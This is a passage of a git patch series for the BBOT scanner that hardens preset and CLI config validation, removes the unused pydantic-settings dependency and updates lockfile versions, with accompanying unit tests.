@@ def validate_preset(preset_dict: Any, module_loader=None) -> list[PresetValidati module_loader = MODULE_LOADER + errors: list[PresetValidationError] = [] + # Pre-load any custom module_dirs the preset declares so the composite # schema includes their modules. Defensive iteration — bad shape gets # surfaced by the schema pass below. @@ -215,10 +218,19 @@ def validate_preset(preset_dict: Any, module_loader=None) -> list[PresetValidati if not isinstance(source, list): continue for d in source: - if isinstance(d, str): + if not isinstance(d, str): + continue + # A bad custom module (e.g. a legacy options dict, which preload rejects + # via sys.exit) must not kill a caller that just wants a list of errors. + try: module_loader.add_module_dir(d) + except (SystemExit, Exception) as e: + detail = str(e).strip() + suffix = f": {detail}" if detail and detail != "1" else "" + errors.append( + PresetValidationError("preset", "module_dirs", f"Failed to load module dir {d!r}{suffix}") + ) - errors: list[PresetValidationError] = [] known_modules = set(module_loader.all_module_choices) # Universe of valid dotted config paths, used for "did you mean ...?" # suggestions on unknown global-config keys. @@ -231,6 +243,10 @@ def validate_preset(preset_dict: Any, module_loader=None) -> list[PresetValidati module_loader.validation_schema.model_validate(preset_dict) except ValidationError as e: errors.extend(_format_errors(e, known_modules=known_modules, known_paths=known_paths)) + except BBOTError as e: + # A custom module with an invalid `class Config` raises when the schema is + # built/exec'd. Report it instead of letting it propagate out of this API. + errors.append(PresetValidationError("preset", "", str(e))) # Module names listed in top-level `modules`/`output_modules`/`exclude_modules` # aren't covered by the composite schema (they're a list of strings, not a diff --git a/bbot/test/test_step_1/test_validate_preset.py b/bbot/test/test_step_1/test_validate_preset.py index 89b7372453..615cd5d49e 100644 --- a/bbot/test/test_step_1/test_validate_preset.py +++ b/bbot/test/test_step_1/test_validate_preset.py @@ -196,3 +196,90 @@ def test_validate_preset_interactsh_server_rejects_invalid(): assert errs[0].path == "interactsh_server" assert "FQDN or IP" in errs[0].message assert repr(v) in errs[0].message + + +def test_defaults_yml_validates_against_schema(): + """BBOT's own defaults.yml must pass its own validator. Guards against the pydantic + schema (core/config/models.py) silently drifting from defaults.yml -- if a key is + added/renamed in defaults.yml, the schema must keep up or this fails.""" + import yaml + from pathlib import Path + import bbot + + defaults = yaml.safe_load((Path(bbot.__file__).parent / "defaults.yml").read_text()) + errs = validate_preset({"config": defaults}) + assert errs == [], "defaults.yml must validate clean:\n" + "\n".join(str(e) for e in errs) + + +def test_validate_preset_sql_retries_settable(): + """`retries` is read by the shared SQLTemplate.setup, so each concrete SQL output + module must declare it in its Config (otherwise it's rejected as an unknown option).""" + for module in ("postgres", "mysql", "sqlite"): + errs = validate_preset({"config": {"modules": {module: {"retries": 5}}}}) + assert errs == [], f"{module}.retries should validate, got: {[str(e) for e in errs]}" + + +def test_validate_preset_wordlist_accepts_list(): + """*_wordlist fields document a list form (merge multiple wordlists); the validating + path must accept a list, not only a string. Regression for a documented-feature break.""" + for module, field in [ + ("dnsbrute", "wordlist"), + ("paramminer_headers", "wordlist"), + ("webbrute", "wordlist"), + ("legba", "ssh_wordlist"), + ]: + errs = validate_preset({"config": {"modules": {module: {field: ["/tmp/a.txt", "/tmp/b.txt"]}}}}) + assert errs == [], f"{module}.{field} list form should validate, got: {[str(e) for e in errs]}" + + +def test_validate_preset_nuclei_mode_lowercase_literal(): + """nuclei.mode is a lowercase Literal: lowercase values pass; anything else (incl. + mixed case) is rejected with the allowed values listed.""" + assert validate_preset({"config": {"modules": {"nuclei": {"mode": "manual"}}}}) == [] + errs = validate_preset({"config": {"modules": {"nuclei": {"mode": "MANUAL"}}}}) + assert len(errs) == 1 + assert errs[0].where == "module:nuclei" and errs[0].path == "mode" + assert "Expected one of" in errs[0].message and "'manual'" in errs[0].message + + +def test_validate_preset_bad_module_dir_returns_errors(tmp_path): + """A custom module_dir containing an unloadable module (here a legacy options dict, + which preload rejects via sys.exit) must surface as an error, not kill the caller.""" + from bbot.core.modules import ModuleLoader + + mod_dir = tmp_path / "badmods" + mod_dir.mkdir() + (mod_dir / "legacymod.py").write_text( + "from bbot.modules.base import BaseModule\n" + "class legacymod(BaseModule):\n" + ' watched_events = ["DNS_NAME"]\n' + ' produced_events = ["DNS_NAME"]\n' + ' flags = ["passive", "safe"]\n' + ' meta = {"description": "x", "created_date": "2025-01-01", "author": "@x"}\n' + ' options = {"foo": "bar"}\n' + ' options_desc = {"foo": "a foo"}\n' + ) + # isolated loader so the bad dir doesn't pollute the global one + errs = validate_preset( + {"module_dirs": [str(mod_dir)], "modules": ["legacymod"]}, + module_loader=ModuleLoader(), + ) + assert any(e.path == "module_dirs" for e in errs), [str(e) for e in errs] + + +def test_build_validation_schema_tolerates_unexecable_config(): + """A custom module whose `class Config` references a module-level name (valid at real + import, but unresolvable in the isolated exec namespace) must not break schema building. + The module falls back to accepting any config rather than being rejected.""" + from bbot.core.modules import _build_validation_schema + + preloaded = { + "synthmod": { + "config_source": ( + "class Config(BaseModuleConfig):\n threads: int = Field(MY_UNDEFINED_CONSTANT, description='x')\n" + ), + }, + } + schema = _build_validation_schema(preloaded) # must not raise + # the module is usable and accepts arbitrary config (lenient fallback) + assert schema.model_validate({"config": {"modules": {"synthmod": {"threads": 5, "anything": "x"}}}}) From cc563cabb2acc6eda8c9918416f304dcdaf1c33f Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 3 Jun 2026 13:56:30 -0400 Subject: [PATCH 727/912] Keep date-shaped CLI config values as strings yaml.safe_load coerced '-c key=2024-01-01' to a date object, which every typed field then rejected. Keep date/time-shaped values as the literal string; int/bool/float/list coercion for typed options is preserved. --- bbot/scanner/preset/args.py | 10 +++++++++- bbot/test/test_step_1/test_cli.py | 15 +++++++++++++++ 2 files changed, 24 insertions(+), 1 deletion(-) diff --git a/bbot/scanner/preset/args.py b/bbot/scanner/preset/args.py index f075b90f26..9684c132c4 100644 --- a/bbot/scanner/preset/args.py +++ b/bbot/scanner/preset/args.py @@ -2,6 +2,7 @@ import yaml import logging import argparse +import datetime from bbot.errors import * from bbot.core.config.merge import dotted_set @@ -17,13 +18,20 @@ def _parse_cli_value(raw: str): `modules.stdout.event_fields='[type, data]'`. An empty RHS (`-c key=`) is treated as an empty string rather than None — matching the "clear this value" intent users normally have. + + Date-shaped values (e.g. `2024-01-01`) are kept as the literal string: YAML + resolves them to a date object, which is never a valid config value and would + be rejected by every typed field (e.g. an all-numeric or date-shaped api key). """ if raw == "": return "" try: - return yaml.safe_load(raw) + value = yaml.safe_load(raw) except yaml.YAMLError: return raw + if isinstance(value, (datetime.date, datetime.time)): + return raw + return value def parse_dotted_cli(entries): diff --git a/bbot/test/test_step_1/test_cli.py b/bbot/test/test_step_1/test_cli.py index 9b56051982..7f1d1c56fd 100644 --- a/bbot/test/test_step_1/test_cli.py +++ b/bbot/test/test_step_1/test_cli.py @@ -502,6 +502,21 @@ def test_cli_config_validation(monkeypatch, caplog): assert 'Did you mean "web.spider_distance"?' in caplog.text +def test_parse_cli_value_keeps_date_shaped_strings(): + """`-c key=2024-01-01` must stay a string -- YAML would coerce it to a date object, + which every typed field rejects (e.g. an all-numeric or date-shaped credential). + Normal type coercion for typed options is preserved.""" + from bbot.scanner.preset.args import _parse_cli_value + + assert _parse_cli_value("2024-01-01") == "2024-01-01" + assert _parse_cli_value("2") == 2 + assert _parse_cli_value("true") is True + assert _parse_cli_value("3.5") == 3.5 + assert _parse_cli_value("[a, b]") == ["a", "b"] + assert _parse_cli_value("") == "" + assert _parse_cli_value("hello") == "hello" + + def test_cli_module_validation(monkeypatch, caplog): monkeypatch.setattr(sys, "exit", lambda *args, **kwargs: True) monkeypatch.setattr(os, "_exit", lambda *args, **kwargs: True) From ed9fea8a5d625e91e997d2d59110734809ee8c11 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 3 Jun 2026 15:31:11 -0400 Subject: [PATCH 728/912] Drop dead pydantic-settings env machinery BBOTConfig was a pydantic-settings BaseSettings with env_prefix=BBOT_/env_nested_delimiter, but it's only ever model_validate'd (never instantiated), so the BBOT_* env override never fired -- dead config advertising a non-working feature. The ${env:} resolver it implied went away with omegaconf and was never used internally (only a docs example). Make BBOTConfig a plain BaseModel and drop the now-unused pydantic-settings dependency. --- bbot/core/config/models.py | 9 ++-- bbot/scanner/preset/environ.py | 3 +- pyproject.toml | 1 - uv.lock | 79 ++++++++++++---------------------- 4 files changed, 31 insertions(+), 61 deletions(-) diff --git a/bbot/core/config/models.py b/bbot/core/config/models.py index 698cf308f0..17918ebcf6 100644 --- a/bbot/core/config/models.py +++ b/bbot/core/config/models.py @@ -18,7 +18,6 @@ from pydantic import BaseModel, ConfigDict, field_validator from pydantic import Field as _PydanticField from pydantic_core import PydanticUndefined -from pydantic_settings import BaseSettings, SettingsConfigDict from bbot.core.helpers.validators import validate_fqdn_or_ip @@ -265,20 +264,18 @@ class BaseModuleConfig(BaseModel): ) -class BBOTConfig(BaseSettings): +class BBOTConfig(BaseModel): """ Root BBOT config schema. Unknown top-level keys are rejected so that typos like `scpoe:` or `moudules:` become loud errors instead of silent no-ops. - This is a validation schema only — it has no default values. The real + This is a validation schema only -- it has no default values. The real defaults live in `bbot/defaults.yml`. """ - model_config = SettingsConfigDict( + model_config = ConfigDict( extra="forbid", - env_prefix="BBOT_", - env_nested_delimiter="__", populate_by_name=True, ) diff --git a/bbot/scanner/preset/environ.py b/bbot/scanner/preset/environ.py index 287fc10be9..39cfb03473 100644 --- a/bbot/scanner/preset/environ.py +++ b/bbot/scanner/preset/environ.py @@ -70,8 +70,7 @@ def flatten_config(self, config, base="bbot"): Lists are skipped (they don't translate cleanly to env var values). None values are skipped too, since `str(None)` would write the literal - string "None" into the env and round-trip back through pydantic-settings - as a string, defeating any field validator that expects a real value. + string "None" into the env, which is never a useful value for a consumer. """ if isinstance(config, dict): for k, v in config.items(): diff --git a/pyproject.toml b/pyproject.toml index b91287c0c8..e96c6a7626 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -41,7 +41,6 @@ dependencies = [ "pyzmq>=26.0.3,<28.0.0", "puremagic>=1.28,<2", "pydantic>=2.12.2,<3", - "pydantic-settings>=2.6.0,<3", "pyyaml>=6.0.0,<7", "radixtarget>=4.0.1,<5", "asndb>=1.0.4", diff --git a/uv.lock b/uv.lock index d7d1401257..4ebec9feab 100644 --- a/uv.lock +++ b/uv.lock @@ -205,7 +205,6 @@ dependencies = [ { name = "puremagic" }, { name = "pycryptodome" }, { name = "pydantic" }, - { name = "pydantic-settings" }, { name = "pyjwt" }, { name = "pyyaml" }, { name = "pyzmq" }, @@ -279,7 +278,6 @@ requires-dist = [ { name = "puremagic", specifier = ">=1.28,<2" }, { name = "pycryptodome", specifier = ">=3.17,<4" }, { name = "pydantic", specifier = ">=2.12.2,<3" }, - { name = "pydantic-settings", specifier = ">=2.6.0,<3" }, { name = "pyjwt", specifier = ">=2.7.0,<3" }, { name = "pyyaml", specifier = ">=6.0.0,<7" }, { name = "pyzmq", specifier = ">=26.0.3,<28.0.0" }, @@ -305,7 +303,7 @@ dev = [ { name = "maturin", specifier = ">=1.4,<2" }, { name = "pre-commit", specifier = ">=3.4,<5.0" }, { name = "pytest", specifier = ">=8.3.1,<10" }, - { name = "pytest-asyncio", specifier = "==1.3.0" }, + { name = "pytest-asyncio", specifier = "==1.4.0" }, { name = "pytest-benchmark", specifier = ">=4,<6" }, { name = "pytest-cov", specifier = ">=5,<8" }, { name = "pytest-env", specifier = ">=0.8.2,<1.7.0" }, @@ -313,9 +311,9 @@ dev = [ { name = "pytest-httpx", specifier = ">=0.35" }, { name = "pytest-rerunfailures", specifier = ">=14,<17" }, { name = "pytest-timeout", specifier = ">=2.3.1,<3" }, - { name = "ruff", specifier = "==0.15.13" }, + { name = "ruff", specifier = "==0.15.15" }, { name = "urllib3", specifier = ">=2.0.2,<3" }, - { name = "uvicorn", specifier = ">=0.32,<0.47" }, + { name = "uvicorn", specifier = ">=0.32,<0.49" }, { name = "werkzeug", specifier = ">=2.3.4,<4.0.0" }, ] docs = [ @@ -2159,20 +2157,6 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/36/c7/cfc8e811f061c841d7990b0201912c3556bfeb99cdcb7ed24adc8d6f8704/pydantic_core-2.41.5-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:56121965f7a4dc965bff783d70b907ddf3d57f6eba29b6d2e5dabfaf07799c51", size = 2145302, upload-time = "2025-11-04T13:43:46.64Z" }, ] -[[package]] -name = "pydantic-settings" -version = "2.14.1" -source = { registry = "https://pypi.org/simple" } -dependencies = [ - { name = "pydantic" }, - { name = "python-dotenv" }, - { name = "typing-inspection" }, -] -sdist = { url = "https://files.pythonhosted.org/packages/07/60/1d1e59c9c90d54591469ada7d268251f71c24bdb765f1a8a832cee8c6653/pydantic_settings-2.14.1.tar.gz", hash = "sha256:e874d3bec7e787b0c9958277956ed9b4dd5de6a80e162188fdaff7c5e26fd5fa", size = 235551, upload-time = "2026-05-08T13:40:06.542Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/ae/8d/f1af3832f5e6eb13ba94ee809e72b8ecb5eef226d27ee0bef7d963d943c7/pydantic_settings-2.14.1-py3-none-any.whl", hash = "sha256:6e3c7edfd8277687cdc598f56e5cff0e9bfff0910a3749deaa8d4401c3a2b9de", size = 60964, upload-time = "2026-05-08T13:40:04.958Z" }, -] - [[package]] name = "pygments" version = "2.19.2" @@ -2233,16 +2217,16 @@ wheels = [ [[package]] name = "pytest-asyncio" -version = "1.3.0" +version = "1.4.0" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "backports-asyncio-runner", marker = "python_full_version < '3.11'" }, { name = "pytest" }, { name = "typing-extensions", marker = "python_full_version < '3.13'" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/90/2c/8af215c0f776415f3590cac4f9086ccefd6fd463befeae41cd4d3f193e5a/pytest_asyncio-1.3.0.tar.gz", hash = "sha256:d7f52f36d231b80ee124cd216ffb19369aa168fc10095013c6b014a34d3ee9e5", size = 50087, upload-time = "2025-11-10T16:07:47.256Z" } +sdist = { url = "https://files.pythonhosted.org/packages/43/7c/d36d04db312ecf4298932ef77e6e4a9e8ad017906e24e34f0b0c361a2473/pytest_asyncio-1.4.0.tar.gz", hash = "sha256:c6c0d2259945122819f171a32ecea2c349ead889ee28176caaf492143424be42", size = 58514, upload-time = "2026-05-26T09:56:04.083Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/e5/35/f8b19922b6a25bc0880171a2f1a003eaeb93657475193ab516fd87cac9da/pytest_asyncio-1.3.0-py3-none-any.whl", hash = "sha256:611e26147c7f77640e6d0a92a38ed17c3e9848063698d5c93d5aa7aa11cebff5", size = 15075, upload-time = "2025-11-10T16:07:45.537Z" }, + { url = "https://files.pythonhosted.org/packages/03/e2/08a497ef684b88559c9cc5f4ad53a37e7b99e727094a86d6ea32536d5d3c/pytest_asyncio-1.4.0-py3-none-any.whl", hash = "sha256:933ca923a23075a87fb7070c0ec272a6848489824d887c85c812670932835aa1", size = 16930, upload-time = "2026-05-26T09:56:02.576Z" }, ] [[package]] @@ -2359,15 +2343,6 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/ec/57/56b9bcc3c9c6a792fcbaf139543cee77261f3651ca9da0c93f5c1221264b/python_dateutil-2.9.0.post0-py2.py3-none-any.whl", hash = "sha256:a8b2bc7bffae282281c8140a97d3aa9c14da0b136dfe83f850eea9a5f7470427", size = 229892, upload-time = "2024-03-01T18:36:18.57Z" }, ] -[[package]] -name = "python-dotenv" -version = "1.2.2" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/82/ed/0301aeeac3e5353ef3d94b6ec08bbcabd04a72018415dcb29e588514bba8/python_dotenv-1.2.2.tar.gz", hash = "sha256:2c371a91fbd7ba082c2c1dc1f8bf89ca22564a087c2c287cd9b662adde799cf3", size = 50135, upload-time = "2026-03-01T16:00:26.196Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/0b/d7/1959b9648791274998a9c3526f6d0ec8fd2233e4d4acce81bbae76b44b2a/python_dotenv-1.2.2-py3-none-any.whl", hash = "sha256:1d8214789a24de455a8b8bd8ae6fe3c6b69a5e3d64aa8a8e5d68e694bbcb285a", size = 22101, upload-time = "2026-03-01T16:00:25.09Z" }, -] - [[package]] name = "python-whois" version = "0.9.6" @@ -2816,27 +2791,27 @@ wheels = [ [[package]] name = "ruff" -version = "0.15.13" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/24/21/a7d5c126d5b557715ef81098f3db2fe20f622a039ff2e626af28d674ab80/ruff-0.15.13.tar.gz", hash = "sha256:f9d89f17f7ba7fb2ed42921f0df75da797a9a5d71bc39049e2c687cf2baf44b7", size = 4678180, upload-time = "2026-05-14T13:44:37.869Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/c6/61/11d458dc6ac22504fd8e237b29dfd40504c7fbbcc8930402cfe51a8e63ed/ruff-0.15.13-py3-none-linux_armv6l.whl", hash = "sha256:444b580fc72fd6887e650acd3e575e18cdc79dbcf42fb4030b491057921f61f8", size = 10738279, upload-time = "2026-05-14T13:44:18.7Z" }, - { url = "https://files.pythonhosted.org/packages/86/ca/caa871ee7be718c45256fada4e16a218ee3e33f0c4a46b729a60a24912e6/ruff-0.15.13-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:6590d009e7cb7ebf36f83dbdd44a3fa48a0994ff6f1cdc1b08006abe58f98dc7", size = 11124798, upload-time = "2026-05-14T13:44:06.427Z" }, - { url = "https://files.pythonhosted.org/packages/d3/19/43f5f2e568dddde567fc41f8471f9432c09563e19d3e617a48cfa52f8f0a/ruff-0.15.13-py3-none-macosx_11_0_arm64.whl", hash = "sha256:1c26d2f66163deeb6e08d8b39fbbe983ce3c71cea06a6d7591cfd1421793c629", size = 10460761, upload-time = "2026-05-14T13:44:04.375Z" }, - { url = "https://files.pythonhosted.org/packages/99/df/cf938cd6de3003178f03ad7c1ea2a6c099468c03a35037985070b37e76be/ruff-0.15.13-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9dbd6f94b434f896308e4d57fb7bfde0d02b99f7a64b3bdab0fdfa6a864203a5", size = 10804451, upload-time = "2026-05-14T13:44:25.221Z" }, - { url = "https://files.pythonhosted.org/packages/c7/7d/5d0973129b154ded2225729169d7068f26b467760b146493fde138415f23/ruff-0.15.13-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:bf3259f3be4d181bda591da5db2571aed6853c6a048157756448020bc6c5cd22", size = 10534285, upload-time = "2026-05-14T13:44:08.888Z" }, - { url = "https://files.pythonhosted.org/packages/1f/e3/6b999bbc66cd51e5f073842bc2a3995e99c5e0e72e16b15e7261f7abf57a/ruff-0.15.13-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ae9c17e5eb4430c154e76abc25d79a318190f5a997f38fb6b114416c5319ffc9", size = 11312063, upload-time = "2026-05-14T13:44:11.274Z" }, - { url = "https://files.pythonhosted.org/packages/af/5a/642639e9f5db04f1e97fbd6e091c6fd20725bdf072fb114d00eefb9e6eb8/ruff-0.15.13-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:2e2e39bff6c341f4b577a21b801326fab0b11847f48fcaa83f00a113c9b3cb55", size = 12183079, upload-time = "2026-05-14T13:44:01.634Z" }, - { url = "https://files.pythonhosted.org/packages/19/4c/7585735f6b53b0f12de13618b2f7d250a844f018822efc899df2e7b8295f/ruff-0.15.13-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e8d9a8e08013542e94d3220bc5b62cc3e5ef87c5f74bff367d3fac14fab013e6", size = 11440833, upload-time = "2026-05-14T13:43:59.043Z" }, - { url = "https://files.pythonhosted.org/packages/e8/31/bf1a0803d077e679cfeee5f2f67290a0fa79c7385b5d9a8c17b9db2c48f0/ruff-0.15.13-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cc411dfebe5eebe55ce041c6ae080eb7668955e866daa2fbb16692a784f1c4ca", size = 11434486, upload-time = "2026-05-14T13:44:27.761Z" }, - { url = "https://files.pythonhosted.org/packages/e1/4e/62c9b999875d4f14db80f277c030578f5e249c9852d65b7ac7ad0b43c041/ruff-0.15.13-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:768494eb08b9cee54e2fd27969966f74db5a57f6eaa7a90fcb3306af34dfc4bd", size = 11385189, upload-time = "2026-05-14T13:44:13.704Z" }, - { url = "https://files.pythonhosted.org/packages/fc/89/7e959047a104df3eb12863447c110140191fc5b6c4f379ea2e803fcdb0e4/ruff-0.15.13-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:fb75f9a3a7e42ffe117d734494e6c5e5cb3565d66e12612cb63d0e572a41a5b6", size = 10781380, upload-time = "2026-05-14T13:43:56.734Z" }, - { url = "https://files.pythonhosted.org/packages/ff/52/5fd18f3b88cab63e88aa11516b3b4e1e5f720e5c330f8dbe5c26210f41f8/ruff-0.15.13-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:8cb74dd33bb2f6613faf7fc03b660053b5ac4f80e706d5788c6335e2a8048d51", size = 10540605, upload-time = "2026-05-14T13:44:20.748Z" }, - { url = "https://files.pythonhosted.org/packages/e8/e0/9e35f338990d3e41a82875ff7053ffe97541dae81c9d02143177f381d572/ruff-0.15.13-py3-none-musllinux_1_2_i686.whl", hash = "sha256:7ef823f817fcd191dc934e984be9cf4094f808effa16f2542ad8e821ba02bbf2", size = 11036554, upload-time = "2026-05-14T13:44:16.256Z" }, - { url = "https://files.pythonhosted.org/packages/c2/13/070fb048c24080fba188f66371e2a92785be257ad02242066dc7255ac6e9/ruff-0.15.13-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:f345a13937bd7f09f6f5d19fa0721b0c103e00e7f62bc67089a8e5e037719e0b", size = 11528133, upload-time = "2026-05-14T13:44:22.808Z" }, - { url = "https://files.pythonhosted.org/packages/6b/8c/b1e1666aef7fc6555094d73ae6cd981701781ae85b97ceefc0eebd0b4668/ruff-0.15.13-py3-none-win32.whl", hash = "sha256:4044f94208b3b05ba0fc4a4abd0558cf4d6459bd18325eead7fd8cc66f909b41", size = 10721455, upload-time = "2026-05-14T13:44:35.697Z" }, - { url = "https://files.pythonhosted.org/packages/ab/a6/870a3e8a50590bb92be184ad928c2922f088b00d9dc5c5ec7b924ee08c22/ruff-0.15.13-py3-none-win_amd64.whl", hash = "sha256:7064884d442b7d477b4e7473d12da7f08851d2b1982763c5d3f388a19468a1a4", size = 11900409, upload-time = "2026-05-14T13:44:30.389Z" }, - { url = "https://files.pythonhosted.org/packages/9b/36/9c015cd052fca743dae8cb2aeb16b551444787467db42ceab0fc968865af/ruff-0.15.13-py3-none-win_arm64.whl", hash = "sha256:2471da9bd1068c8c064b5fd9c0c4b6dddffd6369cb1cd68b29993b1709ff1b21", size = 11179336, upload-time = "2026-05-14T13:44:33.026Z" }, +version = "0.15.15" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/84/6f/a76f7d96e5c962f5b69cee865e49c15c1116897c01990faa8a57edb62e7f/ruff-0.15.15.tar.gz", hash = "sha256:b8dff018130b46d8e5bf0f926ef6b60cf871d6d5ae45fc9334e09632daa741d6", size = 4706985, upload-time = "2026-05-28T14:16:57.784Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/fa/9d/3a45c05b8ab04b4705989de70a79008e27c8003296a0feaee9edc18dd7e9/ruff-0.15.15-py3-none-linux_armv6l.whl", hash = "sha256:cf93e5388f412e1b108b1f8b34a6e036b70fe8aff89393befad96fe48670311b", size = 10710652, upload-time = "2026-05-28T14:16:06.701Z" }, + { url = "https://files.pythonhosted.org/packages/05/66/da974431624bf3b49f6ee1f9543c02d929ff1cba78b0d5a79c38cf21f744/ruff-0.15.15-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:ac5a646d1f6a7dadd5d50842dae2c1f9862ac887ef5d1b1375e02def791fde6e", size = 11096615, upload-time = "2026-05-28T14:16:23.313Z" }, + { url = "https://files.pythonhosted.org/packages/8c/09/7443452e5d290230a712103f2fdceeef7184f3ec99a2bd01c8be78aaceb5/ruff-0.15.15-py3-none-macosx_11_0_arm64.whl", hash = "sha256:77d955a431430c66f72dd94e379ad38a16daea3d25094872ac4edf9e797be530", size = 10436683, upload-time = "2026-05-28T14:16:40.974Z" }, + { url = "https://files.pythonhosted.org/packages/53/01/d330c26a57fa4f3943a14424904027428315b700fe4d14a84bb123a649e5/ruff-0.15.15-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7614ee79c69788cf6cedd568069ade9cecc22a1ad20494efe8d0c9ebb4b622d4", size = 10769064, upload-time = "2026-05-28T14:16:28.905Z" }, + { url = "https://files.pythonhosted.org/packages/1d/85/cc8770f8bdff541b1da8392d1634141fe4a0e3f4ee596605959b7906c27f/ruff-0.15.15-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:3cdb1679e06a1f6b47bc384714ae96f6e2fb65ca441eb78c43d2ca554176ce1f", size = 10511987, upload-time = "2026-05-28T14:16:43.732Z" }, + { url = "https://files.pythonhosted.org/packages/7c/29/8c190c1472b63013583ba391f3342036e02010544c1270455ed8e519bdf3/ruff-0.15.15-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2728b93d7b23a603ea2c0ac6eb73d760bd38ec9de35f35fb41e18f7a3fee7622", size = 11275100, upload-time = "2026-05-28T14:16:55.244Z" }, + { url = "https://files.pythonhosted.org/packages/9f/6b/7e145ce2cc8e63d6834eca03d83a0e18d121def5c69f91b4cf4011ed4879/ruff-0.15.15-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:be582fcc0db438902c7792b08d6ddf6c9b9e21addaa10092c2c741cfb09e5a45", size = 12176903, upload-time = "2026-05-28T14:16:14.368Z" }, + { url = "https://files.pythonhosted.org/packages/80/a3/d5974637f68e451f7fadf015cf3101d1cd7d8ba5027cffe0b9e3826ebe6b/ruff-0.15.15-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:7aa77465b8ecaf1a27bea098d696f7fed5e1eccbd10b321b682d6de586ae5627", size = 11404550, upload-time = "2026-05-28T14:16:20.138Z" }, + { url = "https://files.pythonhosted.org/packages/fe/1c/e6e5e568f22be4fb05d6244234aba384c06b451252453b821e1a529263cf/ruff-0.15.15-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:48decfa11d740de4889de623be1463308346312f2409a56e24aa280c86162dc4", size = 11382027, upload-time = "2026-05-28T14:16:46.615Z" }, + { url = "https://files.pythonhosted.org/packages/1d/01/170921b49fcd2e8858825593f91cf7146c3e40a5c3e6df763e4bb0484dde/ruff-0.15.15-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:a5015088452ca0081387063649ec67f06d3d1d6b8b936a1f836b5e9657ecd48c", size = 11366041, upload-time = "2026-05-28T14:16:26.247Z" }, + { url = "https://files.pythonhosted.org/packages/87/54/a7bad711d7de93254e15e06a4c375b89a03d18de45d3e5dcc86a4472fb1a/ruff-0.15.15-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:f5294aab6356c81600fcdea3a62bb1b924dfd5e91767c12318d3f68f86af57cd", size = 10741795, upload-time = "2026-05-28T14:16:17.11Z" }, + { url = "https://files.pythonhosted.org/packages/c9/31/38c075963668f8b41c6914ee0f6f318727fbe30ab9145cb29e6df464c5fa/ruff-0.15.15-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:db5bd4d802415cca656dc1616070b725952d6ae95eb5d4831e49fbd94a38f75f", size = 10511117, upload-time = "2026-05-28T14:16:31.767Z" }, + { url = "https://files.pythonhosted.org/packages/9d/96/6ff689e1f7e375d1d97075eca022f74c2bab59554a432fe4d2e6f091986a/ruff-0.15.15-py3-none-musllinux_1_2_i686.whl", hash = "sha256:587a6278ed42059191c1a466e490bd7930fb50bd2e255398bc29616c895a61cb", size = 10994867, upload-time = "2026-05-28T14:16:35.149Z" }, + { url = "https://files.pythonhosted.org/packages/c3/c2/5dce0ab9f92a8d534fa62b9bf9caca3eddb8c1a81b616f5e195ada4f0d6e/ruff-0.15.15-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:df0c1c084f5f4be9812f61518a45c440d3c30d69ce4bf6c5270e66d38338f02a", size = 11482101, upload-time = "2026-05-28T14:16:49.598Z" }, + { url = "https://files.pythonhosted.org/packages/b1/c0/1003b60edd697c649faf61f1a34094b1abb38fb3d1181e3f895781250a08/ruff-0.15.15-py3-none-win32.whl", hash = "sha256:29428ea79694afbe756d45fd59b36f22b6b020dc0443cf7de0173046236964b9", size = 10716774, upload-time = "2026-05-28T14:16:52.337Z" }, + { url = "https://files.pythonhosted.org/packages/02/a8/1269eddd6945a06c23f055ef7848886e37cf9d6a8bebb386a3115f01470c/ruff-0.15.15-py3-none-win_amd64.whl", hash = "sha256:8df0323902e15e24bc4bf246da830573d3cf3352bd0b9a164eab335d111ff4a4", size = 11868463, upload-time = "2026-05-28T14:16:11.333Z" }, + { url = "https://files.pythonhosted.org/packages/4e/b2/920464c907b191e37469d477a1aa8bc048b8f36c4c1610dfa4ab87b39e18/ruff-0.15.15-py3-none-win_arm64.whl", hash = "sha256:3c8ceca6792f38196b8f589bc92eccd03eef286602da92e5dc05cc42ef6441b7", size = 11138498, upload-time = "2026-05-28T14:16:38.425Z" }, ] [[package]] From abde3f481269e70a7fd401e570c360511d55ab51 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 3 Jun 2026 15:39:53 -0400 Subject: [PATCH 729/912] Parse string-typed CLI config values losslessly A '-c key=value' for a pure-string 